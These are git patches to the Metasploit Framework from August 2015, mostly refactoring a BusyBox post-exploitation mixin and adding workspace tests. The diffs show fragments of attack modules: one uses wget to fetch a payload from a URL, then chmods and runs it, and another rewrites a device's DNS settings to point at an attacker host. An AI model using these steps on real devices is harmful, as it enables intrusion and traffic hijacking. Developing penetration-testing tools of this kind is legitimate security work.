function finds a writable directory, it returns the path. Else it returns nil + def get_writable_directory writable_directory = nil writable_directory = "/etc/" if is_writable_directory("/etc") writable_directory = "/mnt/" if (!writable_directory && is_writable_directory("/mnt")) From 9db65ea8e578a11f93c1ecea33df8e6262aa27c3 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Fri, 28 Aug 2015 11:48:55 -0500 Subject: [PATCH 0402/2172] Change module filename --- lib/msf/core/post/linux/{busybox.rb => busy_box.rb} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename lib/msf/core/post/linux/{busybox.rb => busy_box.rb} (100%) diff --git a/lib/msf/core/post/linux/busybox.rb b/lib/msf/core/post/linux/busy_box.rb similarity index 100% rename from lib/msf/core/post/linux/busybox.rb rename to lib/msf/core/post/linux/busy_box.rb From e62b117fda3359b189c538af3670558c909762fa Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Fri, 28 Aug 2015 11:50:17 -0500 Subject: [PATCH 0403/2172] Include mixin correctly --- modules/post/linux/busybox/enum_connections.rb | 2 +- modules/post/linux/busybox/enum_hosts.rb | 2 +- modules/post/linux/busybox/set_dns.rb | 2 +- modules/post/linux/busybox/smb_share_root.rb | 2 +- modules/post/linux/busybox/wget_exec.rb | 2 +- 5 files changed, 5 insertions(+), 5 deletions(-) diff --git a/modules/post/linux/busybox/enum_connections.rb b/modules/post/linux/busybox/enum_connections.rb index 5107a1170d..330daefeeb 100644 --- a/modules/post/linux/busybox/enum_connections.rb +++ b/modules/post/linux/busybox/enum_connections.rb @@ -8,7 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Post include Msf::Post::File - include Msf::Post::Linux::Busybox + include Msf::Post::Linux::BusyBox FILES = [ '/proc/net/nf_conntrack', diff --git a/modules/post/linux/busybox/enum_hosts.rb b/modules/post/linux/busybox/enum_hosts.rb index 8c8ea61cdb..7e3a33c8cd 100644 --- a/modules/post/linux/busybox/enum_hosts.rb +++ b/modules/post/linux/busybox/enum_hosts.rb @@ -8,7 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Post include Msf::Post::File - include Msf::Post::Linux::Busybox + include Msf::Post::Linux::BusyBox def initialize super( diff --git a/modules/post/linux/busybox/set_dns.rb b/modules/post/linux/busybox/set_dns.rb index 1d781a5610..d1df76ebca 100644 --- a/modules/post/linux/busybox/set_dns.rb +++ b/modules/post/linux/busybox/set_dns.rb @@ -8,7 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Post include Msf::Post::File - include Msf::Post::Linux::Busybox + include Msf::Post::Linux::BusyBox def initialize super( diff --git a/modules/post/linux/busybox/smb_share_root.rb b/modules/post/linux/busybox/smb_share_root.rb index e3914a257d..5aa0a059a9 100644 --- a/modules/post/linux/busybox/smb_share_root.rb +++ b/modules/post/linux/busybox/smb_share_root.rb @@ -8,7 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Post include Msf::Post::File - include Msf::Post::Linux::Busybox + include Msf::Post::Linux::BusyBox def initialize super( diff --git a/modules/post/linux/busybox/wget_exec.rb b/modules/post/linux/busybox/wget_exec.rb index 4302cd3567..9ed75310f0 100644 --- a/modules/post/linux/busybox/wget_exec.rb +++ b/modules/post/linux/busybox/wget_exec.rb @@ -8,7 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Post include Msf::Post::File - include Msf::Post::Linux::Busybox + include Msf::Post::Linux::BusyBox def initialize super( From 8faf6f9cd0088d1acd447dce3730f6bacab34cd2 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Fri, 28 Aug 2015 11:51:26 -0500 Subject: [PATCH 0404/2172] Fix require --- lib/msf/core/post/linux.rb | 2 +- modules/post/linux/busybox/enum_connections.rb | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/msf/core/post/linux.rb b/lib/msf/core/post/linux.rb index 8abdb67477..520bdd2147 100644 --- a/lib/msf/core/post/linux.rb +++ b/lib/msf/core/post/linux.rb @@ -2,5 +2,5 @@ module Msf::Post::Linux require 'msf/core/post/linux/priv' require 'msf/core/post/linux/system' - require 'msf/core/post/linux/busybox' + require 'msf/core/post/linux/busy_box' end diff --git a/modules/post/linux/busybox/enum_connections.rb b/modules/post/linux/busybox/enum_connections.rb index 330daefeeb..48c6bd48d5 100644 --- a/modules/post/linux/busybox/enum_connections.rb +++ b/modules/post/linux/busybox/enum_connections.rb @@ -52,9 +52,9 @@ class Metasploit3 < Msf::Post str_file=read_file(file) vprint_line(str_file) p = store_loot('busybox.enum.connections', 'text/plain', session, str_file, file, 'BusyBox Device Network Established Connections') - print_good("Connections saved to #{p}.") + print_good("Connections saved to #{p}") rescue EOFError - print_error("Nothing read from file #{file}, file may be empty.") + print_error("Nothing read from file #{file}, file may be empty") end end From 62e6b23b4cb56d1e59c784b87c8bcc1c93e03137 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Fri, 28 Aug 2015 11:52:13 -0500 Subject: [PATCH 0405/2172] Typo --- .../auxiliary/scanner/http/wp_subscribe_comments_file_read.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/wp_subscribe_comments_file_read.rb b/modules/auxiliary/scanner/http/wp_subscribe_comments_file_read.rb index 3e185a492f..770231ee1c 100644 --- a/modules/auxiliary/scanner/http/wp_subscribe_comments_file_read.rb +++ b/modules/auxiliary/scanner/http/wp_subscribe_comments_file_read.rb @@ -15,7 +15,7 @@ class Metasploit3 < Msf::Auxiliary super(update_info(info, 'Name' => 'WordPress Subscribe Comments File Read Vulnerability', 'Description' => %q{ - This module exploits a authenticated directory traversal vulnerability + This module exploits an authenticated directory traversal vulnerability in WordPress Plugin "Subscribe to Comments" version 2.1.2, allowing to read arbitrary files with the web server privileges. }, From c4a3b4f18e621bdfac9057bd67a6d6ec1d8ebfc3 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Fri, 28 Aug 2015 11:56:12 -0500 Subject: [PATCH 0406/2172] Add busy_box_file_exist? --- lib/msf/core/post/linux/busy_box.rb | 7 ++++--- modules/post/linux/busybox/enum_connections.rb | 2 +- modules/post/linux/busybox/enum_hosts.rb | 4 ++-- modules/post/linux/busybox/set_dns.rb | 4 ++-- modules/post/linux/busybox/smb_share_root.rb | 2 +- modules/post/linux/busybox/wget_exec.rb | 2 +- 6 files changed, 11 insertions(+), 10 deletions(-) diff --git a/lib/msf/core/post/linux/busy_box.rb b/lib/msf/core/post/linux/busy_box.rb index efc00badff..7735034181 100644 --- a/lib/msf/core/post/linux/busy_box.rb +++ b/lib/msf/core/post/linux/busy_box.rb @@ -13,12 +13,13 @@ module BusyBox # @param file_path [String] the target file path # @note file? doesnt work because test -f is not implemented in busybox # @return [Boolean] True if files exists, otherwise false - def file_exists(file_path) + def busy_box_file_exist?(file_path) s = read_file(file_path) - if s and s.length + if s and s.length > 0 return true end - return false + + false end # Checks if the target directory is writable diff --git a/modules/post/linux/busybox/enum_connections.rb b/modules/post/linux/busybox/enum_connections.rb index 48c6bd48d5..d5238e0f2e 100644 --- a/modules/post/linux/busybox/enum_connections.rb +++ b/modules/post/linux/busybox/enum_connections.rb @@ -37,7 +37,7 @@ class Metasploit3 < Msf::Post found = false print_status('Searching for files that store information about network connections') FILES.each do |f| - if file_exists(f) + if busy_box_file_exist?(f) found = true print_good("Connections File found: #{f}.") read_connection_file(f) diff --git a/modules/post/linux/busybox/enum_hosts.rb b/modules/post/linux/busybox/enum_hosts.rb index 7e3a33c8cd..a5b1fb3277 100644 --- a/modules/post/linux/busybox/enum_hosts.rb +++ b/modules/post/linux/busybox/enum_hosts.rb @@ -26,9 +26,9 @@ class Metasploit3 < Msf::Post def run print_status('Searching hosts files...') - if file_exists('/var/hosts') + if busy_box_file_exist?('/var/hosts') hosts_file = '/var/hosts' - elsif file_exists('/var/udhcpd/udhcpd.leases') + elsif busy_box_file_exist?('/var/udhcpd/udhcpd.leases') hosts_file = '/var/udhcpd/udhcpd.leases' else print_error('Files not found') diff --git a/modules/post/linux/busybox/set_dns.rb b/modules/post/linux/busybox/set_dns.rb index d1df76ebca..0451add661 100644 --- a/modules/post/linux/busybox/set_dns.rb +++ b/modules/post/linux/busybox/set_dns.rb @@ -32,11 +32,11 @@ class Metasploit3 < Msf::Post def run print_status("Searching for files to modify dns server.") - if file_exists("/etc/resolv.conf") + if busy_box_file_exist?('/etc/resolv.conf') modify_resolv_conf end - if file_exists("/etc/udhcpd.conf") + if busy_box_file_exist?('/etc/udhcpd.conf') modify_udhcpd_conf end end diff --git a/modules/post/linux/busybox/smb_share_root.rb b/modules/post/linux/busybox/smb_share_root.rb index 5aa0a059a9..7ed857ace7 100644 --- a/modules/post/linux/busybox/smb_share_root.rb +++ b/modules/post/linux/busybox/smb_share_root.rb @@ -27,7 +27,7 @@ class Metasploit3 < Msf::Post def run print_status('Checking smb.conf...') - if read_file('/var/samba/smb.conf').length > 0 #file? doesnt work because test -f is not implemented in busybox + if busy_box_file_exist?('/var/samba/smb.conf') print_status('smb.conf found, searching writable directory...') writable_directory = get_writable_directory if writable_directory diff --git a/modules/post/linux/busybox/wget_exec.rb b/modules/post/linux/busybox/wget_exec.rb index 9ed75310f0..f99b455a92 100644 --- a/modules/post/linux/busybox/wget_exec.rb +++ b/modules/post/linux/busybox/wget_exec.rb @@ -38,7 +38,7 @@ class Metasploit3 < Msf::Post cmd_exec("wget -O #{random_file_path} #{datastore['URL']}") Rex::sleep(0.1) - if file_exists(random_file_path) + if busy_box_file_exist?(random_file_path) print_good('File downloaded, executing...') cmd_exec("chmod 777 #{random_file_path}") Rex::sleep(0.1) From 3f7c8e03e25692d72433846f51742f71887bb233 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Fri, 28 Aug 2015 10:23:41 -0700 Subject: [PATCH 0407/2172] Update workspace command to support deleting all workspaces --- lib/msf/ui/console/command_dispatcher/db.rb | 53 +++++++++++-------- .../ui/console/command_dispatcher/db_spec.rb | 1 + 2 files changed, 32 insertions(+), 22 deletions(-) diff --git a/lib/msf/ui/console/command_dispatcher/db.rb b/lib/msf/ui/console/command_dispatcher/db.rb index 13287d2d36..1db20e3aee 100644 --- a/lib/msf/ui/console/command_dispatcher/db.rb +++ b/lib/msf/ui/console/command_dispatcher/db.rb @@ -89,6 +89,7 @@ class Db print_line " workspace [name] Switch workspace" print_line " workspace -a [name] ... Add workspace(s)" print_line " workspace -d [name] ... Delete workspace(s)" + print_line " workspace -D Delete all workspaces" print_line " workspace -r <old> <new> Rename workspace" print_line " workspace -h Show this help information" print_line @@ -106,6 +107,8 @@ class Db adding = true when '-d','--del' deleting = true + when '-D','--delete-all' + delete_all = true when '-r','--rename' renaming = true else @@ -123,28 +126,9 @@ class Db end framework.db.workspace = workspace elsif deleting and names - switched = false - # Delete workspaces - names.each do |name| - workspace = framework.db.find_workspace(name) - if workspace.nil? - print_error("Workspace not found: #{name}") - elsif workspace.default? - workspace.destroy - workspace = framework.db.add_workspace(name) - print_status("Deleted and recreated the default workspace") - else - # switch to the default workspace if we're about to delete the current one - if framework.db.workspace.name == workspace.name - framework.db.workspace = framework.db.default_workspace - switched = true - end - # now destroy the named workspace - workspace.destroy - print_status("Deleted workspace: #{name}") - end - end - print_status("Switched workspace: #{framework.db.workspace.name}") if switched + delete_workspaces(names) + elsif delete_all + delete_workspaces(framework.db.workspaces.map(&:name)) elsif renaming if names.length != 2 print_error("Wrong number of arguments to rename") @@ -202,6 +186,31 @@ class Db } end + def delete_workspaces(names) + switched = false + # Delete workspaces + names.each do |name| + workspace = framework.db.find_workspace(name) + if workspace.nil? + print_error("Workspace not found: #{name}") + elsif workspace.default? + workspace.destroy + workspace = framework.db.add_workspace(name) + print_status("Deleted and recreated the default workspace") + else + # switch to the default workspace if we're about to delete the current one + if framework.db.workspace.name == workspace.name + framework.db.workspace = framework.db.default_workspace + switched = true + end + # now destroy the named workspace + workspace.destroy + print_status("Deleted workspace: #{name}") + end + end + print_status("Switched workspace: #{framework.db.workspace.name}") if switched + end + def cmd_workspace_tabs(str, words) return [] unless active? framework.db.workspaces.map { |s| s.name } if (words & ['-a','--add']).empty? diff --git a/spec/lib/msf/ui/console/command_dispatcher/db_spec.rb b/spec/lib/msf/ui/console/command_dispatcher/db_spec.rb index ef35238716..bddc35ab2e 100644 --- a/spec/lib/msf/ui/console/command_dispatcher/db_spec.rb +++ b/spec/lib/msf/ui/console/command_dispatcher/db_spec.rb @@ -544,6 +544,7 @@ describe Msf::Ui::Console::CommandDispatcher::Db do " workspace [name] Switch workspace", " workspace -a [name] ... Add workspace(s)", " workspace -d [name] ... Delete workspace(s)", + " workspace -D Delete all workspaces", " workspace -r <old> <new> Rename workspace", " workspace -h Show this help information" ] From aaa8b2c907880cc73157ebc503696f11a17d47b8 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Fri, 28 Aug 2015 10:47:51 -0700 Subject: [PATCH 0408/2172] Add rspec coverage for the rest of workspace while here --- .../ui/console/command_dispatcher/db_spec.rb | 46 +++++++++++++++++++ 1 file changed, 46 insertions(+) diff --git a/spec/lib/msf/ui/console/command_dispatcher/db_spec.rb b/spec/lib/msf/ui/console/command_dispatcher/db_spec.rb index bddc35ab2e..31b301d2b7 100644 --- a/spec/lib/msf/ui/console/command_dispatcher/db_spec.rb +++ b/spec/lib/msf/ui/console/command_dispatcher/db_spec.rb @@ -535,6 +535,52 @@ describe Msf::Ui::Console::CommandDispatcher::Db do end describe "#cmd_workspace" do + describe "<no arguments>" do + it "should list default workspace" do + db.cmd_workspace + @output.should =~ [ + "* default" + ] + end + + it "should list all workspaces" do + db.cmd_workspace "-a foo" + db.cmd_workspace + @output.should =~ [ + "default" + " * foo" + ] + end + end + describe "-a" do + it "should add workspaces" do + db.cmd_workspace "-a foo bar baf" + @output.should =~ [ + "Added workspace: foo" + "Added workspace: bar" + "Added workspace: baf" + ] + end + end + describe "-d" do + it "should delete a workspace" do + db.cmd_workspace "-a foo" + db.cmd_workspace "-d foo" + @output.should =~ [ + "Deleted workspace: foo" + ] + end + end + describe "-D" do + it "should delete all workspaces" do + db.cmd_workspace "-a foo" + db.cmd_workspace "-D" + @output.should =~ [ + "Deleted and recreated the default workspace", + "Deleted workspace: foo" + ] + end + end describe "-h" do it "should show a help message" do db.cmd_workspace "-h" From fc7a93ac300796e7cff5e208abf3b81f1d78c5eb Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Fri, 28 Aug 2015 10:51:57 -0700 Subject: [PATCH 0409/2172] Fix syntax and style --- spec/lib/msf/ui/console/command_dispatcher/db_spec.rb | 10 +++++++--- 1 file changed, 7 insertions(+), 3 deletions(-) diff --git a/spec/lib/msf/ui/console/command_dispatcher/db_spec.rb b/spec/lib/msf/ui/console/command_dispatcher/db_spec.rb index 31b301d2b7..1c7c21e2bd 100644 --- a/spec/lib/msf/ui/console/command_dispatcher/db_spec.rb +++ b/spec/lib/msf/ui/console/command_dispatcher/db_spec.rb @@ -547,21 +547,23 @@ describe Msf::Ui::Console::CommandDispatcher::Db do db.cmd_workspace "-a foo" db.cmd_workspace @output.should =~ [ - "default" + "default", " * foo" ] end end + describe "-a" do it "should add workspaces" do db.cmd_workspace "-a foo bar baf" @output.should =~ [ - "Added workspace: foo" - "Added workspace: bar" + "Added workspace: foo", + "Added workspace: bar", "Added workspace: baf" ] end end + describe "-d" do it "should delete a workspace" do db.cmd_workspace "-a foo" @@ -571,6 +573,7 @@ describe Msf::Ui::Console::CommandDispatcher::Db do ] end end + describe "-D" do it "should delete all workspaces" do db.cmd_workspace "-a foo" @@ -581,6 +584,7 @@ describe Msf::Ui::Console::CommandDispatcher::Db do ] end end + describe "-h" do it "should show a help message" do db.cmd_workspace "-h" From 50f7d99674e859e202f15486715670c23fccb408 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Fri, 28 Aug 2015 13:02:10 -0500 Subject: [PATCH 0410/2172] Clean get_writable_directory --- lib/msf/core/post/linux/busy_box.rb | 42 +++++++++++++++++------------ 1 file changed, 25 insertions(+), 17 deletions(-) diff --git a/lib/msf/core/post/linux/busy_box.rb b/lib/msf/core/post/linux/busy_box.rb index 7735034181..8fdcf264b4 100644 --- a/lib/msf/core/post/linux/busy_box.rb +++ b/lib/msf/core/post/linux/busy_box.rb @@ -7,6 +7,7 @@ class Post module Linux module BusyBox + include ::Msf::Post::Common include ::Msf::Post::File # Checks if the target file exists @@ -14,8 +15,8 @@ module BusyBox # @note file? doesnt work because test -f is not implemented in busybox # @return [Boolean] True if files exists, otherwise false def busy_box_file_exist?(file_path) - s = read_file(file_path) - if s and s.length > 0 + contents = read_file(file_path) + if contents and contents.length > 0 return true end @@ -25,17 +26,23 @@ module BusyBox # Checks if the target directory is writable # @param directory_path [String] the target directory path # @return [Boolean] True if target directory is writable, otherwise false - def is_writable_directory(directory_path) - retval = false - rand_str = ""; 16.times{rand_str << (65 + rand(25)).chr} - file_path = directory_path + "/" + rand_str - cmd_exec("echo #{rand_str}XXX#{rand_str} > #{file_path}"); Rex::sleep(0.3) + def is_writable_directory?(directory_path) + res = false + rand_str = Rex::Text.rand_text_alpha(16) + file_path = "#{directory_path}"/"#{rand_str}" + + cmd_exec("echo #{rand_str}XXX#{rand_str} > #{file_path}") + Rex::sleep(0.3) rcv = read_file(file_path) - if rcv.include? (rand_str+"XXX"+rand_str) - retval = true + + if rcv.include?("#{rand_str}XXX#{rand_str}") + res = true end - cmd_exec("rm -f #{file_path}"); Rex::sleep(0.3) - return retval + + cmd_exec("rm -f #{file_path}") + Rex::sleep(0.3) + + res end # Checks if the target file is writable and writes or append to the file the data given as parameter @@ -71,12 +78,13 @@ module BusyBox # Checks some directories that usually are writable in devices running busybox # @return [String] If the function finds a writable directory, it returns the path. Else it returns nil def get_writable_directory - writable_directory = nil - writable_directory = "/etc/" if is_writable_directory("/etc") - writable_directory = "/mnt/" if (!writable_directory && is_writable_directory("/mnt")) - writable_directory = "/var/" if (!writable_directory && is_writable_directory("/var")) - writable_directory = "/var/tmp/" if (!writable_directory && is_writable_directory("/var/tmp")) - return writable_directory + dirs = ['/etc/', '/mnt/', '/var/', '/var/tmp/'] + + dirs.each do |d| + return d if is_writable_directory?(d) + end + + nil end end # Busybox From 52a11cc383441c599d6ac16dab59679a08a0d7bd Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Fri, 28 Aug 2015 11:03:47 -0700 Subject: [PATCH 0411/2172] Use correct calls to cmd_workspace --- .../lib/msf/ui/console/command_dispatcher/db_spec.rb | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/spec/lib/msf/ui/console/command_dispatcher/db_spec.rb b/spec/lib/msf/ui/console/command_dispatcher/db_spec.rb index 1c7c21e2bd..7d1d31e908 100644 --- a/spec/lib/msf/ui/console/command_dispatcher/db_spec.rb +++ b/spec/lib/msf/ui/console/command_dispatcher/db_spec.rb @@ -544,7 +544,7 @@ describe Msf::Ui::Console::CommandDispatcher::Db do end it "should list all workspaces" do - db.cmd_workspace "-a foo" + db.cmd_workspace("-a", "foo") db.cmd_workspace @output.should =~ [ "default", @@ -555,7 +555,7 @@ describe Msf::Ui::Console::CommandDispatcher::Db do describe "-a" do it "should add workspaces" do - db.cmd_workspace "-a foo bar baf" + db.cmd_workspace("-a", "foo", "bar", "baf") @output.should =~ [ "Added workspace: foo", "Added workspace: bar", @@ -566,8 +566,8 @@ describe Msf::Ui::Console::CommandDispatcher::Db do describe "-d" do it "should delete a workspace" do - db.cmd_workspace "-a foo" - db.cmd_workspace "-d foo" + db.cmd_workspace("-a", "foo") + db.cmd_workspace("-d", "foo") @output.should =~ [ "Deleted workspace: foo" ] @@ -576,8 +576,8 @@ describe Msf::Ui::Console::CommandDispatcher::Db do describe "-D" do it "should delete all workspaces" do - db.cmd_workspace "-a foo" - db.cmd_workspace "-D" + db.cmd_workspace("-a", "foo") + db.cmd_workspace("-D") @output.should =~ [ "Deleted and recreated the default workspace", "Deleted workspace: foo" From 0f9032100dc72b8174dd1a90b1f73bd3ffb00a16 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Fri, 28 Aug 2015 11:10:35 -0700 Subject: [PATCH 0412/2172] Stub print_status to allow testing of workspace... and other things that may use print_status rather than print line --- spec/support/shared/contexts/msf/ui_driver.rb | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/spec/support/shared/contexts/msf/ui_driver.rb b/spec/support/shared/contexts/msf/ui_driver.rb index 985914246a..2d64576574 100644 --- a/spec/support/shared/contexts/msf/ui_driver.rb +++ b/spec/support/shared/contexts/msf/ui_driver.rb @@ -9,6 +9,10 @@ shared_context 'Msf::UIDriver' do @output ||= [] @output.concat string.split("\n") end + driver.stub(:print_status).with(kind_of(String)) do |string| + @output ||= [] + @output.concat string.split("\n") + end driver.stub(:print_error).with(kind_of(String)) do |string| @error ||= [] @error.concat string.split("\n") From be7db10e7db4188cdf9c80f018edffcdf9d33fc0 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Fri, 28 Aug 2015 13:15:07 -0500 Subject: [PATCH 0413/2172] Fix busybox_write_file --- lib/msf/core/post/linux/busy_box.rb | 48 ++++++++++++++++----------- modules/post/linux/busybox/set_dns.rb | 6 ++-- 2 files changed, 32 insertions(+), 22 deletions(-) diff --git a/lib/msf/core/post/linux/busy_box.rb b/lib/msf/core/post/linux/busy_box.rb index 8fdcf264b4..03ce2fc815 100644 --- a/lib/msf/core/post/linux/busy_box.rb +++ b/lib/msf/core/post/linux/busy_box.rb @@ -51,28 +51,38 @@ module BusyBox # @param append [Boolean] if true, append data to the target file. Otherwise, overwrite the target file # @note BusyBox shell's commands are limited and Msf > Post > File > write_file function doesnt work here, for this reason it is necessary to implement an specific function # @return [Boolean] True if target file is writable and it was written. Otherwise, false. - def is_writable_and_write(file_path, data, append) - if append - writable_directory = get_writable_directory - return false if not writable_directory - cmd_exec("cp -f #{file_path} #{writable_directory}tmp"); Rex::sleep(0.3) + def busybox_write_file(file_path, data, prepend = false) + if prepend + cmd_exec("cp -f #{file_path} #{dir}tmp") + Rex::sleep(0.3) end - rand_str = ""; 16.times{rand_str << (65 + rand(25)).chr} - cmd_exec("echo #{rand_str} > #{file_path}"); Rex::sleep(0.3) - if read_file(file_path).include? rand_str - cmd_exec("echo \"\"> #{file_path}"); Rex::sleep(0.3) - lines = data.lines.map(&:chomp) - lines.each do |line| - cmd_exec("echo #{line.chomp} >> #{file_path}"); Rex::sleep(0.3) - end - if append - cmd_exec("cat #{writable_directory}tmp >> #{file_path}"); Rex::sleep(0.3) - cmd_exec("rm -f #{writable_directory}tmp"); Rex::sleep(0.3) - end - return true - else + + rand_str = Rex::Text.rand_text_alpha(16) + cmd_exec("echo #{rand_str} > #{file_path}") + Rex::sleep(0.3) + + unless read_file(file_path).include?(rand_str) return false end + + cmd_exec("echo \"\"> #{file_path}") + Rex::sleep(0.3) + + lines = data.lines.map(&:chomp) + lines.each do |line| + cmd_exec("echo #{line.chomp} >> #{file_path}") + Rex::sleep(0.3) + end + + if prepend + cmd_exec("cat #{dir}tmp >> #{file_path}") + Rex::sleep(0.3) + + cmd_exec("rm -f #{dir}tmp") + Rex::sleep(0.3) + end + + true end # Checks some directories that usually are writable in devices running busybox diff --git a/modules/post/linux/busybox/set_dns.rb b/modules/post/linux/busybox/set_dns.rb index 0451add661..a2612bedb5 100644 --- a/modules/post/linux/busybox/set_dns.rb +++ b/modules/post/linux/busybox/set_dns.rb @@ -43,7 +43,7 @@ class Metasploit3 < Msf::Post def modify_resolv_conf print_status('File /etc/resolv.conf found') - if is_writable_and_write('/etc/resolv.conf', "nameserver #{datastore['SRVHOST']}", false) + if busybox_write_file('/etc/resolv.conf', "nameserver #{datastore['SRVHOST']}", false) print_good('DNS server added to resolv.conf') end end @@ -51,7 +51,7 @@ class Metasploit3 < Msf::Post def modify_udhcpd_conf print_status('File /etc/udhcpd.conf found') - if is_writable_and_write('/etc/udhcpd.conf', "option dns #{datastore['SRVHOST']}", true) + if busybox_write_file('/etc/udhcpd.conf', "option dns #{datastore['SRVHOST']}", true) restart_dhcpd('/etc/udhcpd.conf') else print_status('Unable to write udhcpd.conf, searching a writable directory...') @@ -61,7 +61,7 @@ class Metasploit3 < Msf::Post cmd_exec("cp -f /etc/udhcpd.conf #{writable_directory}tmp.conf") Rex::sleep(0.3) print_status("Adding DNS to #{writable_directory}tmp.conf") - is_writable_and_write("#{writable_directory}tmp.conf", "option dns #{datastore['SRVHOST']}", true) + busybox_write_file("#{writable_directory}tmp.conf", "option dns #{datastore['SRVHOST']}", true) restart_dhcpd("#{writable_directory}tmp.conf") else print_error('Writable directory not found') From 6a75ad0162162d488ae1dcada37ef505ad0d79e6 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Fri, 28 Aug 2015 13:23:30 -0500 Subject: [PATCH 0414/2172] Fix yard documentation --- lib/msf/core/post/linux/busy_box.rb | 57 ++++++++++++++++------------- 1 file changed, 31 insertions(+), 26 deletions(-) diff --git a/lib/msf/core/post/linux/busy_box.rb b/lib/msf/core/post/linux/busy_box.rb index 03ce2fc815..3348f21692 100644 --- a/lib/msf/core/post/linux/busy_box.rb +++ b/lib/msf/core/post/linux/busy_box.rb @@ -10,10 +10,11 @@ module BusyBox include ::Msf::Post::Common include ::Msf::Post::File - # Checks if the target file exists + # Checks if the file exists in the target + # # @param file_path [String] the target file path - # @note file? doesnt work because test -f is not implemented in busybox - # @return [Boolean] True if files exists, otherwise false + # @return [Boolean] true if files exists, false otherwise + # @note Msf::Post::File#file? doesnt work because test -f is not available in busybox def busy_box_file_exist?(file_path) contents = read_file(file_path) if contents and contents.length > 0 @@ -23,13 +24,14 @@ module BusyBox false end - # Checks if the target directory is writable - # @param directory_path [String] the target directory path - # @return [Boolean] True if target directory is writable, otherwise false - def is_writable_directory?(directory_path) + # Checks if the directory is writable in the target + # + # @param dir_path [String] the target directory path + # @return [Boolean] true if target directory is writable, false otherwise + def is_writable_directory?(dir_path) res = false rand_str = Rex::Text.rand_text_alpha(16) - file_path = "#{directory_path}"/"#{rand_str}" + file_path = "#{dir_path}"/"#{rand_str}" cmd_exec("echo #{rand_str}XXX#{rand_str} > #{file_path}") Rex::sleep(0.3) @@ -45,12 +47,28 @@ module BusyBox res end - # Checks if the target file is writable and writes or append to the file the data given as parameter - # @param file_path [String] the target file path - # @param data [String] the content to be written to the file - # @param append [Boolean] if true, append data to the target file. Otherwise, overwrite the target file - # @note BusyBox shell's commands are limited and Msf > Post > File > write_file function doesnt work here, for this reason it is necessary to implement an specific function + # Checks some directories that usually are writable in devices running busybox + # @return [String] If the function finds a writable directory, it returns the path. Else it returns nil + def get_writable_directory + dirs = ['/etc/', '/mnt/', '/var/', '/var/tmp/'] + + dirs.each do |d| + return d if is_writable_directory?(d) + end + + nil + end + + + # Writes data to a file + # + # @param file_path [String] the file path to write on the target + # @param data [String] the content to be written + # @param prepend [Boolean] if true, prepend the data to the target file. Otherwise, overwrite + # the target file # @return [Boolean] True if target file is writable and it was written. Otherwise, false. + # @note BusyBox commands are limited and Msf::Post::File#write_file doesn't work here, because + # of it is necessary to implement an specific method. def busybox_write_file(file_path, data, prepend = false) if prepend cmd_exec("cp -f #{file_path} #{dir}tmp") @@ -84,19 +102,6 @@ module BusyBox true end - - # Checks some directories that usually are writable in devices running busybox - # @return [String] If the function finds a writable directory, it returns the path. Else it returns nil - def get_writable_directory - dirs = ['/etc/', '/mnt/', '/var/', '/var/tmp/'] - - dirs.each do |d| - return d if is_writable_directory?(d) - end - - nil - end - end # Busybox end # Linux end # Post From 423d52476d76c824d42bf3104782e895820945f5 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Fri, 28 Aug 2015 13:24:23 -0500 Subject: [PATCH 0415/2172] Normal options should be all caps --- modules/exploits/osx/local/rootpipe_entitlements.rb | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/modules/exploits/osx/local/rootpipe_entitlements.rb b/modules/exploits/osx/local/rootpipe_entitlements.rb index ceb0456bde..7260437bb9 100644 --- a/modules/exploits/osx/local/rootpipe_entitlements.rb +++ b/modules/exploits/osx/local/rootpipe_entitlements.rb @@ -46,7 +46,7 @@ class Metasploit4 < Msf::Exploit::Local )) register_options([ - OptString.new('WritableDir', [true, 'Writable directory', '/.Trashes']) + OptString.new('WRITABLEDIR', [true, 'Writable directory', '/.Trashes']) ]) end @@ -112,7 +112,7 @@ class Metasploit4 < Msf::Exploit::Local end def new_app - @app ||= "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(8)}.app" + @app ||= "#{datastore['WRITABLEDIR']}/#{Rex::Text.rand_text_alpha(8)}.app" end def plist @@ -145,12 +145,12 @@ class Metasploit4 < Msf::Exploit::Local def payload_file @payload_file ||= - "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(8)}" + "#{datastore['WRITABLEDIR']}/#{Rex::Text.rand_text_alpha(8)}" end def root_file @root_file ||= - "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(8)}" + "#{datastore['WRITABLEDIR']}/#{Rex::Text.rand_text_alpha(8)}" end end From e45347e745cf7088871d6eec972d2007a79c8aed Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Fri, 28 Aug 2015 13:26:01 -0500 Subject: [PATCH 0416/2172] 